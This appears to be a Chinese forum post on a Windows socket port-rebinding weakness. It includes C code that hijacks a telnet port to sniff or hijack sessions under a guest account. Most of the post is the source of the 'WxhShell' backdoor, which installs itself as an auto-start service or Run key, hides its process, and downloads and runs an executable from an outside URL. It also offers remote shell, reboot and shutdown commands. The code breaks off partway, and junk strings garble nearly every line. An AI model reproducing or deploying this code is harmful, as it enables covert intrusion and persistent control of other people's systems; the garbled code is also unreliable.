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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [*K9V/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jB -A d8  
D7R;IA-w  
  saddr.sin_family = AF_INET; % A 5s?J?  
L?N: 4/0;!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <> HI(6\@Z  
D0\*WK$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7.{+8#~nV  
F6{ O  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _0[s]  
QBmARQ  
  这意味着什么?意味着可以进行如下的攻击: aIT0t0.  
q8_E_s-U,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T#E,^|WEk  
R(> oyxA[F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) c(Xm~ 'jeH  
vzAY+EEx  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1OY 5tq  
z xgDaT  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  m k~F@  
0I)eYksh  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 MG&vduu  
iMM9a;G+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Mj0jpP<uf  
xE_~.EoB  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 </9c=GoJ  
sNG 7fi.|  
  #include O?#<kmd/)  
  #include =585TR; V  
  #include `,FA3boE  
  #include    (<`> B  
  DWORD WINAPI ClientThread(LPVOID lpParam);   % T$!I(L&  
  int main() *ax&}AHK[/  
  { }uD*\.  
  WORD wVersionRequested; J{;\TNkJ  
  DWORD ret; "2!5g)iO  
  WSADATA wsaData; A;xH{vo{  
  BOOL val; s z7<u|  
  SOCKADDR_IN saddr; DBfq9%J _  
  SOCKADDR_IN scaddr; &4t=Y`]SL  
  int err; }P!:0w3  
  SOCKET s; 2zsDb'r  
  SOCKET sc; $*fEgU% c  
  int caddsize; ?YFSK  
  HANDLE mt; o|KmKC n>  
  DWORD tid;   AGlFbc(L  
  wVersionRequested = MAKEWORD( 2, 2 ); UZJs!#P  
  err = WSAStartup( wVersionRequested, &wsaData ); ]7,0}q.  
  if ( err != 0 ) { Q9X+H4`}y  
  printf("error!WSAStartup failed!\n"); it j&L <e  
  return -1; wVv@   
  } fn//j7 j  
  saddr.sin_family = AF_INET; sEb*GF*.V  
   lR ZuXo9<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /jc; 2  
){J,Z*&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); uq!d8{IMu  
  saddr.sin_port = htons(23); 27JZwlzZ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i:R_g]  
  { i1qmFvksl  
  printf("error!socket failed!\n"); utdus:B#0  
  return -1; 0d,&)  
  } |@D%y&  
  val = TRUE; CrGDo9JdvT  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 U4NA'1yo  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) + VhD]!  
  { N@? z&urQi  
  printf("error!setsockopt failed!\n"); 2G/CN"  
  return -1; @oRo6Y<-  
  } qaBL  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; X5)].[d  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 C%P"\>5@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .L3D]  
&K"qnng/y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) O3L:v{Kn  
  { GZiN&}5e  
  ret=GetLastError(); K{G\=yJ((  
  printf("error!bind failed!\n"); d?GB#N|+g  
  return -1; Eye.#~  
  } d r=h;[Q'  
  listen(s,2); .gwT?O,  
  while(1) CVgVyy^  
  { %\ !3tN  
  caddsize = sizeof(scaddr); 4:s!mHcz  
  //接受连接请求 |/RZGC4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /pgn?e'lk  
  if(sc!=INVALID_SOCKET) yMe;  
  { DUs0L\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $2v{4WP7G  
  if(mt==NULL) Y7@$#/1  
  { fXx !_Z  
  printf("Thread Creat Failed!\n"); qAVZ&:#  
  break; Z&Z= 24q_  
  } w"FBJULzn9  
  } WD'[|s\  
  CloseHandle(mt); LeXkl=CC  
  } qJJ~#W)  
  closesocket(s); &Ht5!zuW,  
  WSACleanup(); vy5SBiK  
  return 0; lT- LOu|  
  }   !-|{B3"6  
  DWORD WINAPI ClientThread(LPVOID lpParam) `yua?n  
  { BWG#W C  
  SOCKET ss = (SOCKET)lpParam; -W"  w  
  SOCKET sc; 5PT*b}g@  
  unsigned char buf[4096]; 5cSqo{|En  
  SOCKADDR_IN saddr; 5m a(~5  
  long num; }Lb[`H,}A  
  DWORD val; ~i9'9PHX@  
  DWORD ret; uKpWb1(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 OR-fC  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /U,;]^  
  saddr.sin_family = AF_INET; E<4'4)FHuQ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @]:GTrs  
  saddr.sin_port = htons(23); ^U{SUWl  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) af;~<o a  
  { J*r%b+  
  printf("error!socket failed!\n"); Xp_G9I,+  
  return -1; %D<>F&h  
  } {wVJv1*l  
  val = 100; JQ"w{O  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L=-v>YL+  
  { KFn[  
  ret = GetLastError(); |7E1yu  
  return -1;  jf~-;2  
  } NR0fxh  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8\_YP3  
  { #bdSH)V  
  ret = GetLastError(); <lHVch"(^$  
  return -1; M@78.lPS  
  } ~BD 80s:f  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r2xIbZ  
  { m\ (crkN  
  printf("error!socket connect failed!\n"); u+,  
  closesocket(sc); z+qrsT/?L  
  closesocket(ss); 1usLCG>w{  
  return -1; 9/I|oh_ G  
  } |qX[Dk  
  while(1) ;UDd4@3`S"  
  { KMogwulG  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?CUGJT  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 M"<B@p]rk:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;*409 P  
  num = recv(ss,buf,4096,0); 2<8JY4]!]  
  if(num>0) ^+'\ u;\  
  send(sc,buf,num,0); };s8xGW:k3  
  else if(num==0) a+ lGN  
  break; *B1%-  
  num = recv(sc,buf,4096,0); @Xj6h!"R  
  if(num>0) k_hs g6Ur.  
  send(ss,buf,num,0); 1o%E(*M4I  
  else if(num==0) 7,&M6<~  
  break;  ]pP:  
  } JUlCj #%  
  closesocket(ss); S[5e,E w  
  closesocket(sc); /#xx,?~xx0  
  return 0 ; ,"EgYd8-'  
  } |?/,ED+|>D  
}0z]sYI  
EHqcQx`K_  
========================================================== we;QrS(Hi  
nN$aZSb`  
下边附上一个代码,,WXhSHELL N=@Nn)  
W$ag |WV  
========================================================== @<,YUp,%S  
vv5 uU8  
#include "stdafx.h" >* >}d%  
yV/A%y-P  
#include <stdio.h> o/5loV3h  
#include <string.h> /7[X_)OG  
#include <windows.h> }SZU'lYHoM  
#include <winsock2.h> }6!*H!  
#include <winsvc.h> U+wfq%Fz  
#include <urlmon.h> 3C7}V{?  
$Y9Wzv3Ra  
#pragma comment (lib, "Ws2_32.lib") HHcWyu  
#pragma comment (lib, "urlmon.lib") ^7>k:|7-t  
#<EMG|&(  
#define MAX_USER   100 // 最大客户端连接数 i]M:ntB"  
#define BUF_SOCK   200 // sock buffer @dx$&;w  
#define KEY_BUFF   255 // 输入 buffer $ =GnoS  
1sN >U<  
#define REBOOT     0   // 重启 +(l(|lQy$  
#define SHUTDOWN   1   // 关机 QdtGFY4f,  
C|hD^m  
#define DEF_PORT   5000 // 监听端口 >hsvRX\_ `  
.tH[A[/1 a  
#define REG_LEN     16   // 注册表键长度 q6a7o=BP]  
#define SVC_LEN     80   // NT服务名长度 .qGfLvx%  
Z.rR)  
// 从dll定义API 7;x}W-`iF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nkii0YB!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LZF %bJv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7ts`uI<E@7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZtPnHs.x  
czu?]9;^ Z  
// wxhshell配置信息 >IFqwh7b  
struct WSCFG { 5nSi29C  
  int ws_port;         // 监听端口 3L1MMUACL  
  char ws_passstr[REG_LEN]; // 口令 -jdhdh  
  int ws_autoins;       // 安装标记, 1=yes 0=no nXFPoR)T  
  char ws_regname[REG_LEN]; // 注册表键名 49d02AU%  
  char ws_svcname[REG_LEN]; // 服务名 $9}jU#Z|hd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3Eu;_u_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7x5wT ?2W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Wt 1]9{$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ILyI%DA&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" SL ) ope  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wJ Qm7n-+  
.bloaeu-  
}; k=M_2T'  
EPu-oE=HW4  
// default Wxhshell configuration A8oTcX_  
struct WSCFG wscfg={DEF_PORT, 0LD$"0v/C3  
    "xuhuanlingzhe", PPMAj@B}V  
    1, #WqpU.  
    "Wxhshell", )p!.V( ,  
    "Wxhshell", 8K@>BFk1.  
            "WxhShell Service", -J' 0qN!  
    "Wrsky Windows CmdShell Service", b<E+5;u  
    "Please Input Your Password: ", DqN<bu2  
  1, "HwSW4a]  
  "http://www.wrsky.com/wxhshell.exe", f@7HVv&  
  "Wxhshell.exe" UEeq@ot/4  
    }; %|AXVv7IN>  
a4E{7c  
// 消息定义模块 y)*W!]:7^>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;]\>jC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @t{`KB+ ^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ouos f1  
char *msg_ws_ext="\n\rExit."; =V>inH  
char *msg_ws_end="\n\rQuit."; KJP}0|[  
char *msg_ws_boot="\n\rReboot..."; M7gb3gw6  
char *msg_ws_poff="\n\rShutdown..."; J5"d|i  
char *msg_ws_down="\n\rSave to "; ,`,1s 9\&t  
5`\"UC7?%  
char *msg_ws_err="\n\rErr!"; tTE]j-uT  
char *msg_ws_ok="\n\rOK!"; U~I y),5  
OuMj%I  
char ExeFile[MAX_PATH]; A~M.v0  
int nUser = 0; ?d' vIpzO!  
HANDLE handles[MAX_USER]; J?"v;.K|hU  
int OsIsNt; C'.^2s#e8  
ifI0s)Pn  
SERVICE_STATUS       serviceStatus; {!>'# F^e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z_Y' 3'^Tw  
Y. Uca<{.[  
// 函数声明 76(/(v.x  
int Install(void); 9}A\Bh tiM  
int Uninstall(void); Mi)h<lY  
int DownloadFile(char *sURL, SOCKET wsh); M REB  
int Boot(int flag); p)Fi{%bc  
void HideProc(void); C Ef*:kr  
int GetOsVer(void); }uiD8b{I  
int Wxhshell(SOCKET wsl); 8DkZ @}  
void TalkWithClient(void *cs); `l?(zy:R  
int CmdShell(SOCKET sock); p`)Mk<`dYD  
int StartFromService(void); i6P'_  
int StartWxhshell(LPSTR lpCmdLine); IC:>60A,]  
Go)}%[@w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6Z<|L^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &$yDnSt\  
y*e({fio_  
// 数据结构和表定义 a"m-&mN  
SERVICE_TABLE_ENTRY DispatchTable[] = I<qG{PA  
{ `_e5pW=:>  
{wscfg.ws_svcname, NTServiceMain}, I{i6e'.jP  
{NULL, NULL} 0@wXE\s  
}; {]]#q0|  
<9]J/w+  
// 自我安装 NtNCt;_R7  
int Install(void) -ND1+`yD  
{ A [_T~+-G  
  char svExeFile[MAX_PATH]; a y$CUw  
  HKEY key; C:.>*;?7  
  strcpy(svExeFile,ExeFile); J"K(nKXO_?  
0IyT(1hS  
// 如果是win9x系统,修改注册表设为自启动 Z5eM  
if(!OsIsNt) { D< 0))r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @$1jp4c   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3LZvlcLb  
  RegCloseKey(key); gI00@p:m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d%:J-UtG"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q<[o 4qY  
  RegCloseKey(key); T%aM~dp  
  return 0; U$WGe >,  
    } gOr%N!5  
  } "gt1pf~y  
} 0|ekwTx.  
else { %$N,6}n  
N%9?8X[5  
// 如果是NT以上系统,安装为系统服务 AWg'J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ccT <UIpq  
if (schSCManager!=0) tB VtIOm9  
{ vXg^K}a#  
  SC_HANDLE schService = CreateService I~4!8W-Y  
  ( %~[@5<p  
  schSCManager, TLq^5,qG  
  wscfg.ws_svcname, QZJnb%]  
  wscfg.ws_svcdisp, pTT00`R  
  SERVICE_ALL_ACCESS, 3R%yKa#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lUdk^7:M  
  SERVICE_AUTO_START, e ^ZY  
  SERVICE_ERROR_NORMAL, _w2%!+'  
  svExeFile, c]"w0a-`^@  
  NULL, 7rG+)kHG  
  NULL, jhJ<JDJ?`  
  NULL, FiSx"o  
  NULL, 53>(2 _/[r  
  NULL s^m`qi(H  
  ); #Jt1AV  
  if (schService!=0) K"ly\$F  
  { 39I|.B"  
  CloseServiceHandle(schService); 7a=ul:  
  CloseServiceHandle(schSCManager); xVRxKM5 {  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >M0^R} v  
  strcat(svExeFile,wscfg.ws_svcname); (M<l}pl)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z]D/Qr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MI-S}Qoe  
  RegCloseKey(key); <$ qT(3w<y  
  return 0; dnV&U%fO  
    } .m.Ga|;  
  } Z<QNzJ D  
  CloseServiceHandle(schSCManager); wd3OuDrU  
} "H=N>=g0E  
} JeF$ W!!{  
=uEpeL~d;+  
return 1; |kD69 }sG  
} hj{)6dBX%  
'Ydr_Ses  
// 自我卸载 Pz\ByD  
int Uninstall(void) d c/^  
{ E~VV19Bv]/  
  HKEY key; @pH6FXVGzt  
f'*/IG  
if(!OsIsNt) { G6l C[eK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cc>b#&s  
  RegDeleteValue(key,wscfg.ws_regname); lr?SL\D  
  RegCloseKey(key); f=.!/e70  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FA := )  
  RegDeleteValue(key,wscfg.ws_regname); $$EEhy  
  RegCloseKey(key); K;w2qc.+  
  return 0; G/#m. =t  
  } 9XKqsvdS  
} HXC\``E  
} $G{j[iLY  
else { Y[_|sIy*  
0*+EYnu+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \3"B$Sp|=  
if (schSCManager!=0) LbYIRX  
{ 8@LUL)"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z30 mk  
  if (schService!=0) t0r0{:  
  { <Q"G aqZ  
  if(DeleteService(schService)!=0) { ^q#[oO  
  CloseServiceHandle(schService); !m%'aQHH(  
  CloseServiceHandle(schSCManager); q2'}S A/  
  return 0; .p> ".q I  
  } (:O6sTx-hE  
  CloseServiceHandle(schService); m{$}u@a  
  } H_Va$}8z  
  CloseServiceHandle(schSCManager); QgQclML1|  
} [@JK|50|K  
} W7gY$\1<&  
]9)iBvQlj  
return 1; ZJc{P5a1J  
} JtsXMZz  
AzSu_  
// 从指定url下载文件 !M`.(sO]  
int DownloadFile(char *sURL, SOCKET wsh) J/:U,01  
{ s6Dkh}:d  
  HRESULT hr; <2L,+  
char seps[]= "/"; *W`7JL,  
char *token; '/t9#I@G\  
char *file; 9v;HE{>  
char myURL[MAX_PATH]; TJZ/lJU  
char myFILE[MAX_PATH]; 9_F&G('V{a  
1]5k l J  
strcpy(myURL,sURL); hN~H8.g  
  token=strtok(myURL,seps); _`O",Ff  
  while(token!=NULL) 6R^32VeK($  
  { `LLmdm 6i  
    file=token; IVZUB*wv)b  
  token=strtok(NULL,seps); lJ]QAO  
  } 6<>1,wbq  
O[eU{ ;P  
GetCurrentDirectory(MAX_PATH,myFILE); 3e47UquZ  
strcat(myFILE, "\\"); DpeJx  
strcat(myFILE, file); ],[<^=|  
  send(wsh,myFILE,strlen(myFILE),0); ujkWVE'  
send(wsh,"...",3,0); ::'Y07  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); maY.Z<lN  
  if(hr==S_OK) VpAwvMw  
return 0; 3c7i8b$  
else iY?#R&  
return 1; 9-q> W  
iGz*4^ %  
} OFmHj]I7=  
m;hp1VO)  
// 系统电源模块 WcS`T?Xa  
int Boot(int flag) n1JV)4Mv  
{ +se OoTKR  
  HANDLE hToken; MBw;+'93qf  
  TOKEN_PRIVILEGES tkp; vu.?@k@  
V*fv>f:Yv  
  if(OsIsNt) { .w@B )f*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L(cKyg[R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RSbq<f>BFo  
    tkp.PrivilegeCount = 1; 1n}#54  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8> $=p4bf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (n: A` ]  
if(flag==REBOOT) { 9QB,%K_:4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _'1 ]CoR  
  return 0; 9ZU^([@D  
} f=Pn,.>tIz  
else { _deEs5i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X$1YvYsID  
  return 0; J?X{NARt  
} fe`_0lxj  
  } _[rQt8zn  
  else { U{Oo@ztT  
if(flag==REBOOT) { v=hn# U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H lM7^3(&  
  return 0; }2e s"  
} mVYfyLZ,(  
else { *c=vEQn-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f(blqO.@l  
  return 0; u^|cG{i5"  
} 4vN:Kj  
} mIDVN  
<fDT/  
return 1; ^0cbN[~/ns  
} D_JGbNigA  
9kF0H a}J  
// win9x进程隐藏模块 l4U*Lv>   
void HideProc(void) 4lc|~Fj++  
{ %`T}%B  
P7,g^:$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Br}@Vvq@  
  if ( hKernel != NULL ) ENr#3+m$;  
  { #\}FQl6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ug546Bz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {5{VGAD&]>  
    FreeLibrary(hKernel); na~ FT[3 C  
  } Me? I8:/  
y9R%%i  
return; .N.RpRz{f  
} #-f9>S9_  
+a|Q)Ob  
// 获取操作系统版本 |94o P>d  
int GetOsVer(void) G rU`;M"  
{ D84&=EpVZ  
  OSVERSIONINFO winfo; Q4LPi;{\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y G8C<g6E7  
  GetVersionEx(&winfo); (t V T&eO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [:gg3Qzx  
  return 1; *P7/ry^<F  
  else siCm)B  
  return 0; W!O/t^H>  
} bQq/~  
K x) PK  
// 客户端句柄模块 [ei~Xkzkj  
int Wxhshell(SOCKET wsl) %s+'"E"E  
{ R6fkc^  
  SOCKET wsh; Nj2l>[L;  
  struct sockaddr_in client; \n,L600`q  
  DWORD myID; 0k16f3uI   
*<67h*|)  
  while(nUser<MAX_USER) r5nHYV&7  
{ V,Nu!$)J  
  int nSize=sizeof(client); wL, -"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #>)z}a]  
  if(wsh==INVALID_SOCKET) return 1; ]ilLed  
Y7p@NG&1q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); & ck}3\sQ  
if(handles[nUser]==0) #;^UW  
  closesocket(wsh); _z BfNz9D  
else Q Kr/  
  nUser++; h0k?(O  
  } ;Bz| hB{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k;t G-~\d  
~D|,$E tX4  
  return 0; V~/-e- 9u  
} ,C><n kx  
~!PWJ~U  
// 关闭 socket L YB @L06a  
void CloseIt(SOCKET wsh) EZI#CLT[  
{ $<2d|;7r  
closesocket(wsh); SZ[?2z  
nUser--; 2 G*uv+=  
ExitThread(0); aAGV\o{^  
} e<9 ^h)G  
 I2i'  
// 客户端请求句柄 7* Y*_cH5  
void TalkWithClient(void *cs) &Lt$~}*&6  
{ #'> )?]tn  
?uL-qsU  
  SOCKET wsh=(SOCKET)cs; xcmg3:s  
  char pwd[SVC_LEN]; H9ES|ZJs  
  char cmd[KEY_BUFF]; G]k[A=dg  
char chr[1]; @SxZ>|r-|v  
int i,j; :*]#n  
XK/l1E3N  
  while (nUser < MAX_USER) { j;y(to-e>D  
RDHK'PGA  
if(wscfg.ws_passstr) { H{5,  -x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hqs-q4G$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gAztdA sLM  
  //ZeroMemory(pwd,KEY_BUFF); N_B^k8j  
      i=0; weu+$Kr  
  while(i<SVC_LEN) { _p 1!8*0]  
9%NsW3|  
  // 设置超时 yeta)@nH  
  fd_set FdRead; U n)Xe  
  struct timeval TimeOut; Yq|_6zbYf  
  FD_ZERO(&FdRead); S{&%tj~U  
  FD_SET(wsh,&FdRead); hO.b?>3NL  
  TimeOut.tv_sec=8; Fy E#@ R  
  TimeOut.tv_usec=0; xsRkO9x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Lm`-q(!7w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rBQ<5.  
U@yhFj_y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nF]R "  
  pwd=chr[0]; VvP: }yJ  
  if(chr[0]==0xd || chr[0]==0xa) { A. tGr(r  
  pwd=0; }ixCbuD  
  break; z{1A x  
  } UTu~"uCR  
  i++; \VOv&s;h  
    } viYrPhH+z  
YfT D  
  // 如果是非法用户,关闭 socket FT6CKsM"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b~tu;:  
} qfCZ [D  
'9.@r\g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M"s:*c_6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !^MwE]  
ue7D' UZL>  
while(1) { n]4Elrxx  
(#>X*~6  
  ZeroMemory(cmd,KEY_BUFF); Fyw X  
u5rvrn ]  
      // 自动支持客户端 telnet标准   DN=W2MEfc  
  j=0; =kwz3Wv  
  while(j<KEY_BUFF) { l(Hz9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H"w;~;h  
  cmd[j]=chr[0]; ydOG8EI  
  if(chr[0]==0xa || chr[0]==0xd) { Oj%5FUP~[%  
  cmd[j]=0; jGkDD8K [  
  break; v+g:0 C5 (  
  } s92ol0`  
  j++;  9Ca0Tu  
    } 7DK}c]js  
tpA-IL?KQw  
  // 下载文件 -UidU+ES;  
  if(strstr(cmd,"http://")) { 0 !%G #~th  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %?+Lkj&  
  if(DownloadFile(cmd,wsh)) ;/4x.t#b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kGnT4R*E  
  else t`hes $E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -lfDoNRhQ  
  } %4M,f.[e  
  else { 5 Slz ^@n  
x5\Du63  
    switch(cmd[0]) { a;; Es  
  M'R ] ''  
  // 帮助 ~QUNR?h  
  case '?': { 4*f+np  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *mj=kJ7(  
    break; 5-fASN.Lx  
  } :!CnGKgt  
  // 安装 PY '^:0  
  case 'i': { 8,h!&9  
    if(Install()) 29Gel  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Z_VF30pa  
    else g.62XZF@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2o[ceEg  
    break; ~};q/-[r  
    } WY@g=W>+  
  // 卸载 YSPUQ  
  case 'r': { u Uq= L  
    if(Uninstall()) oBub]<.J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); { )b  
    else #d[Nm+~ko  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); & uwOyb  
    break; VR"le&'z"  
    } St!0MdCH  
  // 显示 wxhshell 所在路径 K@[Hej6d  
  case 'p': { T ?A3f]U  
    char svExeFile[MAX_PATH]; aYk: CYQ  
    strcpy(svExeFile,"\n\r"); &|'yqzS3  
      strcat(svExeFile,ExeFile); l\N2C4NG  
        send(wsh,svExeFile,strlen(svExeFile),0); E%8uQ2p(  
    break; qo \9,<  
    } eG2'W  
  // 重启 s 8K.A~5 w  
  case 'b': { [h B$%i]\<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 54WX#/<Yik  
    if(Boot(REBOOT)) ,S(Z\[x0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -Mrt%1g  
    else { M(\{U"%@?  
    closesocket(wsh); 1K|F;p  
    ExitThread(0); ]3 GO_tL  
    } JP( tf+  
    break; +zDRed_]=_  
    } zHNBX Rx  
  // 关机 DS@Yto  
  case 'd': { RSB+Saf.8  
